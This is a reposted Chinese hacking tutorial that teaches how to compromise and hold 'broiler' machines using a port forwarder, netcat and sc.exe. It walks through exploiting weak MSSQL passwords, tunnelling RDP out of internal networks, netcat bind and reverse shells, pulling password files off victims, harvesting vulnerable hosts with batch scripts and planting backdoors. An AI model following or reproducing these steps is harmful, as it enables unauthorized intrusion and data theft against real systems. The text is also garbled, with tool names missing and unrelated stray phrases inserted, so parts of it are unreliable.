三个入侵的必备小工具-、nc.exe、sc.exe 作用几使用方法
三个入侵的必备小工具-、nc.exe、sc.exe 作用几使用方法
2008年02月18日 评论(1)|浏览(10) 点击查看原文
一、的使用方法
靴袜
以前抓肉鸡都是通过1433弱口令，然后..
但是发现很多服务器开了1433,3389，但是终端是连不上的，因为服务器本身是在内网，只对外开放了1433端口，幸好有这个东西，用传倒服务器上...
<是个端口转发工具，相当于把肉鸡A上的3389端口转发到B机上，当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389.
用法：如在本机B上监听 -listen 51 3389，在肉鸡A上运行-slave 本机ip 51 肉鸡ip 3389 那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。
例：现在有一个ip为 201.1.1.1的1433弱.用端口扫描只发现开放了1433端口.用sqltools链接,dir 看一下 C:\>DIR C:\
2004/09/17 10:32 <DIR> autoAK
2005/02/21 17:08 12,541 avgun.log。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
日语，显示不正常.呵呵.
netstat -an 查看开放端口 TCP 0.0.0.0:3376 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3791 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3877 0.0.0.0:0 LISTENING
终端已开.看下IP
ipconfig
C:\>ipconfig
Windows 2000 IP Configuration Ethernet adapter
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.24
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1192这样的是内网了...
现在可以用搞定了...
上传到肉鸡...C:\>C:\WINNT\system32
2006/04/02 13:40 32,首先在自己机子的cmd下运行
< -listen 51 3389
意思是监听51端口并转发到3389端口
显示如下[+] Listening port 51 ......
[+] Listen OK!
[+] Listening port 3389 ......
[+] Listen OK!
[+] Waiting for Client on port:51 ......然后在肉鸡上运行 -slave 你的IP 51 201.1.1.1 3389
201.1.1.1是我举例用的肉鸡IP.换成你的..运行以后本机监听端口就会收到信息.[+] Listening port 51 ......
[+] Listen OK!
[+] Listening port 3389 ......
[+] Listen OK!
[+] Waiting for Client on port:51 ......
[+] Accept a Client on port 55 from 201.1.1.1 ......
[+] Waiting another Client on 好了.现在在自己机子上链接 127.0.0.1 或者输你自己IP.
发现进去的不是自己机子,(或者自己机子根本连不上)，而是肉鸡A了!优点，搞定内网肉鸡.
缺点，有点麻烦，而且每次都要通过sqltools先进行端口转发.当然也可以用反弹木马控制肉鸡了...
二、nc.exe的使用方法
1. Netcat 1.10 for NT - nc11nt.zip，原始英文信息
2. Netcat 1.10 for NT 帮助信息
3. Netc
at 1.10 常用的命令格式
4. 管理肉鸡，更改肉鸡设置
5. 下载连接
>>>>>>>>>>>>>>
1. Netcat 1.10 for NT - nc11nt.zip
>>>>>>>>>>>>>>
Basic Features
* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder
New for NT
* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
________________________________________________________________________
Some of the features of netcat are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections
Some of the potential uses of netcat:
Script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with
Netcat + Encryption = Cryptcat
对比win2000微软的和微软的服务，连接的时候就可以看出来了. 梦见抱男孩
1.1 NC.EXE是一个非标准的telnet客户端程序,
1.2 还有一个客户端程序，提供四种连接模式
-raw -telnet -rlogin -ssh.
>>>>>>>>>>>>>>
2. Netcat 1.10 for NT 帮助信息
>>>>>>>>>>>>>>
C:\WINDOWS\Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (后台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-
h this cruft (本帮助信息)
-i secs delay interval for lines sent, ports scanned
水晶(延迟时间)
-l listen mode, for inbound connects (监听模式，等待连接)
-L listen harder, re-listen on socket close (连接关闭后，仍然继续监听)
-n numeric-only IP addresses, no DNS (ip数字模式，非dns解析)
-o file hex dump of traffic (十六进制模式输出文件，三段)
-p port local port number (本地端口)
-r randomize local and remote ports (随机本地远程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-
u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (扫描模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]
>>>>>>>>>>>>>>
3. Netcat 1.10 常用的命令格式
>>>>>>>>>>>>>>
下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
3.1.端口的刺探：
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹，系统管理员会额外小心
3.3. 后门
victim machine: //受害者的机器
nc -l -p port - //win2000
益阳疫情
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP，然后得到一个shell。
3.4.反向连接
attacker machine: //一般是，远程溢出,攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc - attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者：
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s（nc.exe -L -p 139 -d - -s 对方机器IP）
这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件：
3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.
nc -d -l -p port /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的里面执行(终端登陆，不如安装FTP方便).否则没有办法输入
Crl+C.
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
安慰的话nc －vv -l -p port >       /*victim machine*/ 需要Ctrl+C退
出
nc -d victim_ip port < path\filedest  /*attacker machine*/ 可以shell执行
//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
结论: 可以传输ascii,bin文件.可以传输程序文件.
问题：连接某个ip后，传送完成后，需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用
< 杀掉进程.但是是否释放传输文件打开的句柄了?
3.6 端口数据抓包.
nc -vv -w 2 - www.xfocus 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax erro
r
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" un
r
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a #
< 00000084 83 00 00 01 8f # .....
3.7 telnet，自动批处理。 ★★★★★我要重点推荐的东西就是这个.
nc victim_ip port < d  /*victim machine*/ 显示执行过程.
nc -vv victim_ip port < d  /*victim machine*/ 显示执行过程.
nc -d victim_ip d
@echo s >&d
@echo cd /d %%windir%%\system32\ >&d
@net stop "sksockserver" >&d
@ -config port 11111 >&d
@net start "sksockserver" >&d
@exit >&d
:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 &
goto start
把防火墙关掉以后运行这个批处理，会监听到许多探测U漏洞的信息，大多
是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高.
但是也是一种便宜的办法.
肉鸡特征：
1。unicode漏洞
2。guest密码为空，administrators组用户
3。其他漏洞
自己慢慢的爽去吧。不过，再次强调一句，不建议而且是不能破坏国内主机，上去以后
将改名。然后用pskill干掉进程，之后是杀毒。做好后门以后，将gue
st帐号停用，以对付傻瓜扫描器
>>>>>>>>>>>>>>
5. 下载连接
>>>>>>>>>>>>>>
5.1 www.atstake/research/tools/network_utilities/
Tool: Netcat 1.10 for Unix
Version: 03.20.96
Platforms: *nix
Tool: Netcat 1.1 for Win 95/98/NT/2000
Version: 02.08.98
Platforms: Runs on Win 95/98/NT/2000
5.2 www.xfocus/download.php?id=320
名称： cryptcat_nt.zip 更新时间： 2002-04-05
类别： 网络工具 平台： Win9x/NT/2000 大小： 115.8K 提交： maxilaw
简介： 加密传输的nc。
5.3 content.443.ch/pub/security/blackhat/Networking/nc/国外的网站
10.03.02 15:48
10.03.02 15:48 245760 cryptcat_linux2.tar
10.03.02 15:48 118533 cryptcat_nt.zip
三、sc.exe的使用方法
Microsoft Windows [版本 5.2.3790]
下载网页视频(C) 版权所有 1985-2003 Microsoft Corp.
c:\>sc
描述:
SC 是用于与服务控制管理器通信的命令行程序。
用法:
sc [command] [service name] ...
选项 的格式为 "\\ServerName"
可以键入 "sc [command]"以获得命令的进一步帮助
命令:
query-----------查询服务的状态，
或枚举服务类型的状态。
queryex----
-----查询服务的扩展状态，
或枚举服务类型的状态。
start-----------启动服务。
pause-----------发送 PAUSE 控制请求到服务。
interrogate-----发送 INTERROGATE 控制请求到服务。
continue--------发送 CONTINUE 控制请求到服务。
stop------------发送 STOP 请求到服务。
config----------(永久地)更改服务的配置。
description-----更改服务的描述。
failure---------更改服务失败时所进行的操作。
qc--------------查询服务的配置信息。
qdescription----查询服务的描述。
qfailure--------查询失败服务所进行的操作。
delete----------(从注册表)删除服务。
create----------创建服务(将其添加到注册表)。
control---------发送控制到服务。
sdshow----------显示服务的安全描述符。
sdset-----------设置服务的安全描述符。
GetDisplayName--获取服务的 DisplayName。
GetKeyName------获取服务的 ServiceKeyName。
EnumDepend------枚举服务的依存关系。
下列命令不查询服务名称:
sc
boot------------(ok | bad) 表明是否将上一次启动保存为
最后所知的好的启动配置
Lock------------锁定服务数据库
QueryLock-------查询 SCManager 数据库的 LockStatus
示例:
sc start MyService
您想查阅 QUERY 和 QUERYEX 命令的帮助吗? [ y | n ]:
这是自带的帮助
如果要删除一个已经存在的服务就是
sc delete servername

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。

参数解析
« 上一篇
西门子PLC安装问题解决
下一篇 »

发表评论

Copyright © 2024 baidu.com
Powered By 慧智精品网 豫ICP备2022007602号 豫公网安备41160202000598